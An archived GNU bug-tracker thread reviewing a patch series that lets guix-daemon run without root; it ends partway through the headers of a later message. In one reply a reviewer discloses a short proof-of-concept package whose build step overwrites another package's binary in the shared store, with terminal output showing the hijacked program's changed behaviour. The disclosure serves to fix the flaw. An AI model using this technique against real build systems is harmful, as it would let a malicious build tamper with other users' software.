_msg "${INF}Skipped authorizing build farm public keys" fi -- 2.47.1
X-Loop: help-debbugs@HIDDEN Subject: [bug#75810] [PATCH 0/6] Rootless guix-daemon Resent-From: Janneke Nieuwenhuizen <janneke@HIDDEN> Original-Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org> Resent-CC: guix-patches@HIDDEN Resent-Date: Fri, 24 Jan 2025 19:22:02 +0000 Resent-Message-ID: <handler.75810.B75810.173774647514241 <at> debbugs.gnu.org> Resent-Sender: help-debbugs@HIDDEN X-GNU-PR-Message: followup 75810 X-GNU-PR-Package: guix-patches X-GNU-PR-Keywords: patch To: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN> Cc: 75810 <at> debbugs.gnu.org Received: via spool by 75810-submit <at> debbugs.gnu.org id=B75810.173774647514241 (code B ref 75810); Fri, 24 Jan 2025 19:22:02 +0000 Received: (at 75810) by debbugs.gnu.org; 24 Jan 2025 19:21:15 +0000 Received: from localhost ([127.0.0.1]:47089 helo=debbugs.gnu.org) by debbugs.gnu.org with esmtp (Exim 4.84_2) (envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>) id 1tbPEx-0003hd-3t for submit <at> debbugs.gnu.org; Fri, 24 Jan 2025 14:21:15 -0500 Received: from eggs.gnu.org ([2001:470:142:3::10]:34204) by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.84_2) (envelope-from <janneke@HIDDEN>) id 1tbPEr-0003hJ-Aq for 75810 <at> debbugs.gnu.org; Fri, 24 Jan 2025 14:21:10 -0500 Received: from fencepost.gnu.org ([2001:470:142:3::e]) by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.90_1) (envelope-from <janneke@HIDDEN>) id 1tbPEV-0000RN-Fp; Fri, 24 Jan 2025 14:20:47 -0500 DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org; s=fencepost-gnu-org; h=MIME-Version:Date:References:In-Reply-To:Subject:To: From; bh=Apq6hxtpX8+MuuC+sRbkcgdil4CvMM9W0jHH/AtkjVI=; b=OcwjYbqwT+bz/26U9cwu UI7r+kGp2wQ/1imOPVVkE/FdHYJLMepWjrDmrQvbeqd2/LTWxz/zk5VBaE/P4a2Z7DkLmQnQOBDWa +9cIaYCvSQNfHi0a8T9kd8/4hPK37InHzcKpruXW0PRr+b/w/KiExQTo9qYDULyj/3UeaXnlNdhs9 TKCJLLrQ8Qloj39ge2uhcUusigrkfk+6IjSu8thP/PKQvGidigxoihrjZv7YfCKDMyHcNE7YNxHpN +bA+SZH9u2Q9odsMFOad+dwnSZWtMK8Qkwf/xtM2cBusrPUgWyDB6j9XZUKOtjTqpC1i+cOU05TJX jfrsevEVPBuDIw==; From: Janneke Nieuwenhuizen <janneke@HIDDEN> In-Reply-To: <cover.1737738362.git.ludo@HIDDEN> ("Ludovic =?UTF-8?Q?Court=C3=A8s?="'s message of "Fri, 24 Jan 2025 18:23:08 +0100") Organization: AvatarAcademy.nl References: <cover.1737738362.git.ludo@HIDDEN> X-Url: http://AvatarAcademy.nl Date: Fri, 24 Jan 2025 20:20:42 +0100 Message-ID: <87ikq49fxx.fsf@HIDDEN> User-Agent: Gnus/5.13 (Gnus v5.13) MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-Spam-Score: -2.3 (--) X-BeenThere: debbugs-submit <at> debbugs.gnu.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: <debbugs-submit.debbugs.gnu.org> List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe> List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/> List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org> List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help> List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe> Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org> X-Spam-Score: -3.3 (---) Ludovic Court=C3=A8s writes: Hello! > That guix-daemon runs as root is not confidence-inspiring for many. Certainly, in fact, this and the many build users was [sadly?] the reason I didn't look further into Nix around 2010 or so... [..] > This patch changes guix-daemon so it can run as an unprivileged > user, using unprivileged user namespaces to still support isolated > builds. Yay, awesome! > There=E2=80=99s a couple of cases where root is/was still necessary: [..] > There=E2=80=99s another issue: /gnu/store can no longer be remounted > read-only (like we do on Guix System and on systemd with > =E2=80=98gnu-store.mount=E2=80=99) because then unprivileged guix-daemon = would > be unable to remount it read-write (or at least I couldn=E2=80=99t find > a way to do that). Thus =E2=80=98guix-install.sh=E2=80=99 no longer inst= alls > =E2=80=98gnu-store.mount=E2=80=99 in that case. It=E2=80=99s a bit sad t= o lose that > so if anyone can think of a way to achieve it, that=E2=80=99d be great. Hmm. So this is is about using guix as a package manager on foreign systems, for now? Will there be an option for users to choose between a non-root guix-daemon or a read-only store? I'm kind of afraid that having a writable /gnu/store, even if it's just on foreign distributions, is going to cause a whole lot of problems/bug reports with people changing files in the store. When I came to guix I ran it on Debian for a couple of months and I certainly changed files in the store, even with the read-only mount hurdle, to "get stuff to build". Only later to realise that by doing so I was making things much more difficult for myself. Hopefully I'm either misunderstanding this patch set, or else too pessimistict, and maybe other people aren't as stupid as I was when I first came to Guix? Greetings, Janneke --=20 Janneke Nieuwenhuizen <janneke@HIDDEN> | GNU LilyPond https://LilyPond.org Freelance IT https://www.JoyOfSource.com | Avatar=C2=AE https://AvatarAcade= my.com
X-Loop: help-debbugs@HIDDEN Subject: [bug#75810] [PATCH 0/6] Rootless guix-daemon Resent-From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN> Original-Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org> Resent-CC: guix-patches@HIDDEN Resent-Date: Fri, 24 Jan 2025 22:19:01 +0000 Resent-Message-ID: <handler.75810.B75810.173775711126070 <at> debbugs.gnu.org> Resent-Sender: help-debbugs@HIDDEN X-GNU-PR-Message: followup 75810 X-GNU-PR-Package: guix-patches X-GNU-PR-Keywords: patch To: Janneke Nieuwenhuizen <janneke@HIDDEN> Cc: 75810 <at> debbugs.gnu.org Received: via spool by 75810-submit <at> debbugs.gnu.org id=B75810.173775711126070 (code B ref 75810); Fri, 24 Jan 2025 22:19:01 +0000 Received: (at 75810) by debbugs.gnu.org; 24 Jan 2025 22:18:31 +0000 Received: from localhost ([127.0.0.1]:47341 helo=debbugs.gnu.org) by debbugs.gnu.org with esmtp (Exim 4.84_2) (envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>) id 1tbS0U-0006mQ-Vu for submit <at> debbugs.gnu.org; Fri, 24 Jan 2025 17:18:31 -0500 Received: from eggs.gnu.org ([2001:470:142:3::10]:54166) by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tbS0S-0006m7-9o for 75810 <at> debbugs.gnu.org; Fri, 24 Jan 2025 17:18:28 -0500 Received: from fencepost.gnu.org ([2001:470:142:3::e]) by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.90_1) (envelope-from <ludo@HIDDEN>) id 1tbS0L-0002mr-VI; Fri, 24 Jan 2025 17:18:22 -0500 DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org; s=fencepost-gnu-org; h=MIME-Version:Date:References:In-Reply-To:Subject:To: From; bh=mA5ShXo6qYQGH/TtdGwNkoLoxQrZVdArwGgcsnqoirM=; b=aVBOmG7sDco3knuAJPhB W7US1MQ9pfko2Ne2Lf4TozJRfLkVa2jGiWkwP7l710pc431vq0UgBCFDCoUbyjqBsZ+dSt2v2kXof 2TMYphoAgF3WX9SQ63RWgoF+Tr5xEGNi3YI4k1MxlScAHWq+r7mpGyyj68wYXF4Ke/EA6yGwGbo1H QXdvHtaHtF322Z8Fss3Jv5Ll7+o+42JXYnvlJCr/nd6itFIdDCk8aXgmMlmDfawolnnMcXXc8Ho2j b2UmIyGcGwQFIZs6WVWV270HrXepUjSehumELb235AVhj3oPjQlYgWnezdZ7UzhzVCwxapv05uMVG zv5Hf8ubCiF9ow==; From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN> In-Reply-To: <87ikq49fxx.fsf@HIDDEN> (Janneke Nieuwenhuizen's message of "Fri, 24 Jan 2025 20:20:42 +0100") References: <cover.1737738362.git.ludo@HIDDEN> <87ikq49fxx.fsf@HIDDEN> Date: Fri, 24 Jan 2025 23:18:16 +0100 Message-ID: <87y0yzdffb.fsf@HIDDEN> User-Agent: Gnus/5.13 (Gnus v5.13) MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-Spam-Score: -2.3 (--) X-BeenThere: debbugs-submit <at> debbugs.gnu.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: <debbugs-submit.debbugs.gnu.org> List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe> List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/> List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org> List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help> List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe> Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org> X-Spam-Score: -3.3 (---) Hello, Janneke Nieuwenhuizen <janneke@HIDDEN> skribis: >> There=E2=80=99s another issue: /gnu/store can no longer be remounted >> read-only (like we do on Guix System and on systemd with >> =E2=80=98gnu-store.mount=E2=80=99) because then unprivileged guix-daemon= would >> be unable to remount it read-write (or at least I couldn=E2=80=99t find >> a way to do that). Thus =E2=80=98guix-install.sh=E2=80=99 no longer ins= talls >> =E2=80=98gnu-store.mount=E2=80=99 in that case. It=E2=80=99s a bit sad = to lose that >> so if anyone can think of a way to achieve it, that=E2=80=99d be great. > > Hmm. So this is is about using guix as a package manager on foreign > systems, for now? Yes, but the goal is to eventually make it available (as an option) on Guix System. > Will there be an option for users to choose between a non-root > guix-daemon or a read-only store? I would prefer not having to choose between the two, but as I wrote, I don=E2=80=99t know how to make it work. Currently =E2=80=98makeStoreWritable=E2=80=99 does this: if (stat.f_flag & ST_RDONLY) { if (unshare(CLONE_NEWNS) =3D=3D -1) throw SysError("setting up a private mount namespace"); if (mount(0, settings.nixStore.c_str(), "none", MS_REMOUNT | MS_BIN= D, 0) =3D=3D -1) throw SysError(format("remounting %1% writable") % settings.nix= Store); } But the remount trick only works if you=E2=80=99re actually root. As non-root, what can guix-daemon do? It could (bind-)mount the underlying file system, but how to do that? (Thinking out loud.) Perhaps =E2=80=98gnu-store.mount=E2=80=99 could stash the read-write varian= t aside, say in /gnu/.rw-store, and guix-daemon would bind-mount that to /gnu/store? > I'm kind of afraid that having a writable /gnu/store, even if it's just > on foreign distributions, is going to cause a whole lot of problems/bug > reports with people changing files in the store. When I came to guix I > ran it on Debian for a couple of months and I certainly changed files in > the store, even with the read-only mount hurdle, to "get stuff to > build". Only later to realise that by doing so I was making things much > more difficult for myself. Yeah, agreed. Thanks for your feedback! Ludo=E2=80=99.
X-Loop: help-debbugs@HIDDEN Subject: [bug#75810] [PATCH 0/6] Rootless guix-daemon References: <cover.1737738362.git.ludo@HIDDEN> In-Reply-To: <cover.1737738362.git.ludo@HIDDEN> Resent-From: Reepca Russelstein <reepca@HIDDEN> Original-Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org> Resent-CC: guix-patches@HIDDEN Resent-Date: Sun, 26 Jan 2025 00:40:02 +0000 Resent-Message-ID: <handler.75810.B75810.17378519993051 <at> debbugs.gnu.org> Resent-Sender: help-debbugs@HIDDEN X-GNU-PR-Message: followup 75810 X-GNU-PR-Package: guix-patches X-GNU-PR-Keywords: patch To: 75810 <at> debbugs.gnu.org Cc: ludo@HIDDEN Received: via spool by 75810-submit <at> debbugs.gnu.org id=B75810.17378519993051 (code B ref 75810); Sun, 26 Jan 2025 00:40:02 +0000 Received: (at 75810) by debbugs.gnu.org; 26 Jan 2025 00:39:59 +0000 Received: from localhost ([127.0.0.1]:53216 helo=debbugs.gnu.org) by debbugs.gnu.org with esmtp (Exim 4.84_2) (envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>) id 1tbqgw-0000n8-G9 for submit <at> debbugs.gnu.org; Sat, 25 Jan 2025 19:39:59 -0500 Received: from mailout.russelstein.xyz ([2605:6400:20:11e::1]:39146) by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.84_2) (envelope-from <reepca@HIDDEN>) id 1tbqgs-0000mn-Ey for 75810 <at> debbugs.gnu.org; Sat, 25 Jan 2025 19:39:56 -0500 DKIM-Signature: v=1; a=ed25519-sha256; q=dns/txt; c=relaxed/relaxed; d=russelstein.xyz; s=ed25519; h=Content-Type:MIME-Version:Message-ID:Date: Subject:Cc:To:From:Sender:Reply-To:Content-Transfer-Encoding:Content-ID: Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc :Resent-Message-ID:In-Reply-To:References:List-Id:List-Help:List-Unsubscribe: List-Subscribe:List-Post:List-Owner:List-Archive; bh=wQyG0DCngy20L29OZSejT2Qh3hLwn3VWOUvdKlWjcVg=; b=/6zn4adiQKpucNvSmUJg+pEHzg M26VPPAHEVejXfDUlyv1qNLE8HWVUdbqPOJXiKujCdorRGN66Rm1bXjtXdDA==; DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=russelstein.xyz; s=rsa; h=Content-Type:MIME-Version:Message-ID:Date:Subject :Cc:To:From:Sender:Reply-To:Content-Transfer-Encoding:Content-ID: Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc :Resent-Message-ID:In-Reply-To:References:List-Id:List-Help:List-Unsubscribe: List-Subscribe:List-Post:List-Owner:List-Archive; bh=wQyG0DCngy20L29OZSejT2Qh3hLwn3VWOUvdKlWjcVg=; b=OMo1scxXbK08D7aDTzNoFjnoMM UTftPxQ1L+EKF0Jn1kF2oJTuNehbBygqlAVMHFd4B9lheCPSWhIvkKakwNhXgcCNA4p7iBDV1yLG2 WAUADo41MxADlPVH1KGwmVrYHoWoRa6Mo/jzV4ah147nGO/6Y3g9cvUpI76DOPCutuVpLb+3xrAVk R5XeygdadPnehzqfnsqs7xPU0XEXlMF/a+UB5mE3rm0L4P/m1i49vfgFoB5/yhbovOObYrmgW9vfx 1ui1eXO10ndX6BhAc9VV2sjVHJwkMqOrQhJiXvVAdFYZy5LvJz5Sm+hI9UPIlepqkU4JEnCzSKGQ1 Aecb5CsXlmDlISMufMAaqqCJJmeMbrnDbFqpywgwbOTKAA3ZD3gBQ6sB1ldOxDEJe8sl0uE3sPesB 2WfDuvbck7OfQRceGFeJ5q13eVl0rtIL32xsN1eNiZYDgkLj1PHTN3rsPpfe3N3IiDdGjAF10cs7I Mphb0ydeZRvETGOxqgEr3uY/ruzO0tyWeN4fdhtirdjNHj2PTjncKa13oZJ1w4Dwzh+fBWUAJ/RhG ISOS1BndKRNSSDYJni6q5n7ObZ0S3rLo13Ig75M8S4x0QfNNgwFF0P0h4zbivsVypUk2CRIQf2ceH kMte+W3slXU7XPf+V680ZSrmy0dZ0VUWoahtC5FmU=; Received: by russelstein.xyz with esmtpsa (TLS1.3:ECDHE_SECP256R1__RSA_PSS_RSAE_SHA256__AES_256_GCM:256) (Exim 4.98) (envelope-from <reepca@HIDDEN>) id 1tbqgl-000000004KD-2tF4; Sat, 25 Jan 2025 18:39:49 -0600 From: Reepca Russelstein <reepca@HIDDEN> Date: Sat, 25 Jan 2025 18:39:04 -0600 Message-ID: <87r04qe7dj.fsf@HIDDEN> User-Agent: Gnus/5.13 (Gnus v5.13) MIME-Version: 1.0 Content-Type: multipart/signed; boundary="=-=-="; micalg=pgp-sha256; protocol="application/pgp-signature" X-Spam-Score: 0.9 X-Spam-Bar: / X-Spam-Score-Int: 9 X-Spam-Report: Spam detection software, running on the system "Sanctum", has NOT identified this incoming email as spam. The original message has been attached to this so you can view it or label similar future email. If you have any questions, see the administrator of that system for details. Content preview: > Hello Guix! > > That guix-daemon runs as root is not confidence-inspiring for many. > Initially, the main reason for running it as root was, in the absence > of user namespaces, the fact that builde [...] Content analysis details: (0.9 points, 5.0 required) pts rule name description ---- ---------------------- -------------------------------------------------- -0.0 NO_RELAYS Informational: message was not relayed via SMTP 0.4 FROM_SUSPICIOUS_NTLD_FP From abused NTLD 0.5 FROM_SUSPICIOUS_NTLD From abused NTLD 0.0 FAKE_REPLY_C No description available. X-Spam-Score: 3.0 (+++) X-Spam-Report: Spam detection software, running on the system "debbugs.gnu.org", has NOT identified this incoming email as spam. The original message has been attached to this so you can view it or label similar future email. If you have any questions, see the administrator of that system for details. Content preview: > Hello Guix! > > That guix-daemon runs as root is not confidence-inspiring for many. > Initially, the main reason for running it as root was, in the absence > of user namespaces, the fact that builde [...] Content analysis details: (3.0 points, 10.0 required) pts rule name description ---- ---------------------- -------------------------------------------------- -0.0 SPF_PASS SPF: sender matches SPF record 0.0 SPF_HELO_NONE SPF: HELO does not publish an SPF Record 0.7 PDS_OTHER_BAD_TLD Untrustworthy TLDs [URI: russelstein.xyz (xyz)] 0.5 FROM_SUSPICIOUS_NTLD From abused NTLD -0.0 T_SCC_BODY_TEXT_LINE No description available. 1.7 FROM_SUSPICIOUS_NTLD_FP From abused NTLD 0.0 FAKE_REPLY_C No description available. X-BeenThere: debbugs-submit <at> debbugs.gnu.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: <debbugs-submit.debbugs.gnu.org> List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe> List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/> List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org> List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help> List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe> Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org> X-Spam-Score: 1.2 (+) X-Spam-Report: Spam detection software, running on the system "debbugs.gnu.org", has NOT identified this incoming email as spam. The original message has been attached to this so you can view it or label similar future email. If you have any questions, see the administrator of that system for details. Content preview: > Hello Guix! > > That guix-daemon runs as root is not confidence-inspiring for many. > Initially, the main reason for running it as root was, in the absence > of user namespaces, the fact that builde [...] Content analysis details: (1.2 points, 10.0 required) pts rule name description ---- ---------------------- -------------------------------------------------- -0.0 SPF_PASS SPF: sender matches SPF record 0.0 SPF_HELO_NONE SPF: HELO does not publish an SPF Record 0.7 PDS_OTHER_BAD_TLD Untrustworthy TLDs [URI: russelstein.xyz (xyz)] 0.5 FROM_SUSPICIOUS_NTLD From abused NTLD -0.0 T_SCC_BODY_TEXT_LINE No description available. 1.0 BULK_RE_SUSP_NTLD Precedence bulk and RE: from a suspicious TLD 0.0 FAKE_REPLY_C No description available. -1.0 MAILING_LIST_MULTI Multiple indicators imply a widely-seen list manager --=-=-= Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable > Hello Guix! >=20 > That guix-daemon runs as root is not confidence-inspiring for many. > Initially, the main reason for running it as root was, in the absence > of user namespaces, the fact that builders would be started under one > of the build user accounts, which only root can do. Now that > unprivileged user namespaces are almost ubiquitous (even on HPC > clusters), this is no longer a good reason. Without the build users, we're relying entirely on kernel-specific sandboxing mechanisms to protect the system from rogue builders. It's probably (?) not impossible to make it work, but, as with every time security mechanisms are changed, it does require some very careful thought. For example, consider the following: =2D-8<---------------cut here---------------start------------->8--- (use-modules (guix) (gnu) (guix build-system trivial)) (define-public sneakysneaky (package (name "sneakysneaky") (version "0") (source #f) (build-system trivial-build-system) (arguments (list #:builder #~(let ((hello (string-append #$(this-package-input "hello") "/bin/hello"))) (chmod (dirname hello) #o775) (chmod hello #o775) (delete-file hello) (call-with-output-file hello (lambda (port) (chmod port #o775) (display "#!/bin/sh echo \"GOOOOOD BYYEEEEEE\"" port))) (mkdir #$output)))) (inputs (list (@ (gnu packages base) hello))) (home-page "") (synopsis "") (description "") (license #f))) sneakysneaky =2D-8<---------------cut here---------------end--------------->8--- If we save this as /tmp/mal-test.scm on a debian VM with these patches applied, we can see the following: =2D-8<---------------cut here---------------start------------->8--- user@debian:~$ guix build --no-grafts hello /gnu/store/8bjy9g0cssjrw9ljz2r8ww1sma95isfj-hello-2.12.1 user@debian:~$ /gnu/store/8bjy9g0cssjrw9ljz2r8ww1sma95isfj-hello-2.12.1/bin= /hello Hello, world! user@debian:~$ guix build --no-grafts -f /tmp/mal-test.scm substitute: looking for substitutes on 'https://bordeaux.guix.gnu.org'... 1= 00.0% substitute: looking for substitutes on 'https://ci.guix.gnu.org'... 100.0% The following derivation will be built: /gnu/store/p15g92hfs7254pqfa3kss63dprw2clis-sneakysneaky-0.drv building /gnu/store/p15g92hfs7254pqfa3kss63dprw2clis-sneakysneaky-0.drv... successfully built /gnu/store/p15g92hfs7254pqfa3kss63dprw2clis-sneakysneaky= -0.drv /gnu/store/y1jzqg30cgkydl8kymjsh99zqgzh1yj1-sneakysneaky-0 user@debian:~$ /gnu/store/8bjy9g0cssjrw9ljz2r8ww1sma95isfj-hello-2.12.1/bin= /hello GOOOOOD BYYEEEEEE user@debian:~$=20 =2D-8<---------------cut here---------------end--------------->8--- This happens because the daemon bind-mounts store items into the container, so it's the same underlying inode both inside and out of the container. The build runs as the same user as the store owner, so there's nothing stopping it from freely modifying its input store items and any of their transitive references. I suppose we could try to perform these bind-mounts with the MS_RDONLY flag, but we would need some way to ensure that the builder can't just remount them read-write (I haven't yet looked into how to do this). The nuclear option, of course, would be to simply do a full copy of the store items in question instead of a bind-mount. > This patch changes guix-daemon so it can run as an unprivileged > user, using unprivileged user namespaces to still support isolated > builds. There=E2=80=99s a couple of cases where root is/was still necess= ary: >=20 > 1. To create /var/guix/profiles/per-user/$USER and chown it > as $USER (see CVE-2019-18192). >=20 > 2. To chown /tmp/guix-build-* when using =E2=80=98--keep-failed=E2=80= =99. >=20 > Both can be addressed by giving CAP_CHOWN to guix-daemon, and this is > what this patch series does on distros using systemd. (For some > reason CAP_CHOWN had to be added to the set of =E2=80=9Cambient capabilit= ies=E2=80=9D, > which are inherited by child processes; this is why there=E2=80=99s a pat= ch > to drop ambient capabilities in build processes.) >=20 > On Guix System (not implemented here), we could address (1) by > creating /var/guix/profiles/per-user/$USER upfront for all the > user accounts. We could leave (2) unaddressed (so failed build > directories would be owned by guix-daemon:guix-daemon) or we=E2=80=99d > have to pass CAP_CHOWN as well. The automatic chown of /tmp/guix-build-* has always been a litte strange considering that multiple users could attempt the same doomed-to-failure derivation build at the same time, and it comes down to a race to see who gets the build (and therefore the build directory). This does raise the question, though, of how these failed build directories would get deleted, aside from rebooting the system. Perhaps the garbage collector could be modified to get rid of them? In which case it may be best to make it so that the failed build directories are automatically added to the temp roots for a client, and the client takes care to copy the failed build directory to a fresh path owned by the current user? Or we could make it so that the failed build directory gets sent over the wire in nar form to the client. Not sure what the best approach there is. > There=E2=80=99s another issue: /gnu/store can no longer be remounted > read-only (like we do on Guix System and on systemd with > =E2=80=98gnu-store.mount=E2=80=99) because then unprivileged guix-daemon = would > be unable to remount it read-write (or at least I couldn=E2=80=99t find > a way to do that). Thus =E2=80=98guix-install.sh=E2=80=99 no longer inst= alls > =E2=80=98gnu-store.mount=E2=80=99 in that case. It=E2=80=99s a bit sad t= o lose that > so if anyone can think of a way to achieve it, that=E2=80=99d be great. We currently remount /gnu/store read-write at LocalStore-creation-time, which happens in the newly-forked guix-daemon process at the start of a connection. I don't think there's any particularly elevated risk from instead doing that before the per-connection process is forked. There are a number of ways we could do this: we could make it the responsibility of the init system to create the mount namespace and do the remounting, or we could have guix-daemon do it immediately on startup and subsequently switch its uid and gid to guix-daemon:guix-daemon. These lack the slick appeal of "see, you never have to give it root, and you can prove it just by looking at the service file", but realistically should be just as secure. It may be useful to provide a small wrapper around guix-daemon that does the remount and privilege-dropping, to more succinctly express this to anybody wishing to see for themselves. > The next step (in another patch series) would be Guix System support > with automatic transition (essentially =E2=80=9Cchown -R > guix-daemon:guix-daemon /gnu/store=E2=80=9D). >=20 > Thoughts? There are, effectively, 3 platforms that guix currently supports: posix, linux, and hurd. Posix doesn't get much attention since we don't chase Mac like nix does, but there do exist configurations where we use neither linux-specific nor hurd-specific functionality. Additionally, a given guix-daemon may be either privileged or unprivileged. Thus, we end up with a total of 6 configurations. Except there is now also the question of whether less-than-fully-trusted users are allowed access to the guix-daemon's socket. Now we're in theory at 12 configurations. Which of these configurations to use is, in some circumstances, going to come down to judgement calls. For example, one user may not care at all about the risk of malicious builders (e.g. "the admins on this shared system all use the debian tools anyway"), but be quite concerned about the possibility of a root-granting exploit being found in guix-daemon. Another (like myself and other Guix System users) may consider a risk to the store to be the same as a risk to the entire system itself. In theory splitting between "privileged-with-root" and "privileged-with-capabilities" will only increase the number of configurations further. Personally, I think that if a guix-daemon can use privilege separation users, it would probably be a good idea to. We're certainly going to need to support them on non-linux systems either way. Could it be possible to have guix-install.sh modify /etc/sudoers on systems that use it to allow the guix-daemon user to run processes under guix builder users? I am currently less worried about arbitrary code execution vulnerabilities being found in the daemon than about the possibility of malicious builders (but it is possible I am underexposed to the ways those can happen in C++). Additionally, CAP_CHOWN, while not having a direct path to privilege escalation due to setuid and setgid bits being reset when chown is called, can nevertheless be easily leveraged into privilege escalation in most real-world situations where arbitrary code execution is possible, so switching to using just that capability would realistically only add defense in less-than-arbitrary-code-execution scenarios. Using unprivileged user namespaces would, however, be an excellent addition for unprivileged daemons, like the one started by test-env, or one started by an unprivileged user on a system without a whole-system guix installation. Hope that helps. =2D reepca --=-=-= Content-Type: application/pgp-signature; name="signature.asc" -----BEGIN PGP SIGNATURE----- iQFLBAEBCAA1FiEEdNapMPRLm4SepVYGwWaqSV9/GJwFAmeVhCkXHHJlZXBjYUBy dXNzZWxzdGVpbi54eXoACgkQwWaqSV9/GJynXgf+JjAkPl4ovl0cvNj774zFtcoa iXEzBEt9UX6Yu48Ja6f5OhqyuNd7ZxkZMCSz2ZrnOEABBk+hzTsRvg1VX1RFBqxo jOyXWtPZYtSzFQdPL/CM5GD4oO8gW0QNf1/dn5cJDR1c4To6MSAt4v6CxLBspUZw 2DHKhGJwrKtFLWIR/6iFmmMzmn19npgFRjcL55Sb8qs691jvV1LmHJ4wN2E6p8M+ BtbWWulOGKClud2frYdI9zJp51iKIAm0V7xX6dnKhyz55OimlEv2vUHqktBOGehU ymEqXwTf8ickK3XDPoYlRjcmv6BzuuQ4AR4I7ud8aHPF9rYSodXV64jNmnJ16w== =3cRE -----END PGP SIGNATURE----- --=-=-=--
X-Loop: help-debbugs@HIDDEN Subject: [bug#75810] [PATCH 0/6] Rootless guix-daemon Resent-From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN> Original-Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org> Resent-CC: guix-patches@HIDDEN Resent-Date: Mon, 27 Jan 2025 21:33:02 +0000 Resent-Message-ID: <handler.75810.B75810.173801352416537 <at> debbugs.gnu.org> Resent-Sender: help-debbugs@HIDDEN X-GNU-PR-Message: followup 75810 X-GNU-PR-Package: guix-patches X-GNU-PR-Keywords: patch To: Reepca Russelstein <reepca@HIDDEN> Cc: 75810 <at> debbugs.gnu.org Received: via spool by 75810-submit <at> debbugs.gnu.org id=B75810.173801352416537 (code B ref 75810); Mon, 27 Jan 2025 21:33:02 +0000 Received: (at 75810) by debbugs.gnu.org; 27 Jan 2025 21:32:04 +0000 Received: from localhost ([127.0.0.1]:34655 helo=debbugs.gnu.org) by debbugs.gnu.org with esmtp (Exim 4.84_2) (envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>) id 1tcWiB-0004Ie-Lk for submit <at> debbugs.gnu.org; Mon, 27 Jan 2025 16:32:04 -0500 Received: from eggs.gnu.org ([2001:470:142:3::10]:40310) by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tcWi7-0004I4-BZ for 75810 <at> debbugs.gnu.org; Mon, 27 Jan 2025 16:32:02 -0500 Received: from fencepost.gnu.org ([2001:470:142:3::e]) by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.90_1) (envelope-from <ludo@HIDDEN>) id 1tcWi0-0003ut-Nv; Mon, 27 Jan 2025 16:31:52 -0500 DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org; s=fencepost-gnu-org; 